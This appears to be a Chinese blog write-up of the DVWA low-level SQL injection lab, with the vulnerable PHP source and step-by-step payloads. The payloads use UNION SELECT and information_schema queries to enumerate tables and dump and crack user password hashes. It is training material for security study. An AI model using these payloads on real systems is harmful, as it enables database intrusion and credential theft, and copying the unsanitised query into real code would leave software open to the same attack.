DVWA——SQL Injection(low)

SQL Injection

界面

在这里插入图片描述

源代码

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

代码分析

        用户点击submit后获取到用户输入的id,然后将相应的first_name,last_name打印出来,可以看到并没有对用户输入的id进行合法判断,容易造成sql注入。

渗透步骤

        第一步:输入1,查看结果
在这里插入图片描述
        第二步:输入1‘ or ‘1’=’1,查看结果,可以看到得到了数据库里面的所有id数据,从而得知确实存在sql漏洞
在这里插入图片描述
        第三步:通过order by猜当前库的字段,输入1' or 1=1 order by 1 #,输入结果正常
在这里插入图片描述
        第四步:通过order by猜当前库的字段,输入1' or 1=1 order by 2 #,输入结果正常
在这里插入图片描述
        第五步:输入1' or 1=1 order by 3 #,输入结果不正常,当前数据库只有两个字段,即First name和Surname
在这里插入图片描述
        第六步:输入1' union select 1,2,可以看到在第二栏数据中出现了1,2,可以修改1,2的值,获得我的想要的数据
在这里插入图片描述
        第七步:测试上一步猜想,输入1' union select database(),version()# 获取当前数据库名,以及数据库版本,查看结果确认可以使用union select获取到想要的数据。
在这里插入图片描述
        第八步:输入1' union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schema=database()#获取数据库当中的表名
在这里插入图片描述
        第九步:将获得hex编码进行解码,得到真实表名:guestbook,users,就两个表
在这里插入图片描述
        第十步:输入1' union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name='users' #查看users表里面的字段名,解码
在这里插入图片描述
在这里插入图片描述
        第十一步:输入1' union select first_name,password from users#,查询用户名以及密码
在这里插入图片描述
        第十二步:使用md5解密工具,将获得的密码进行解密,可以看到结果正确
在这里插入图片描述

遇到的问题

        1、 第八步以及第十步为什么用到hex函数
解决方法:如果不使用hex函数,将会报错,这是由于编码引发的问题
错误图片:
在这里插入图片描述
        2、怎样确定数据库使用的是md5加密方式
解决方法:猜的,运气好

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值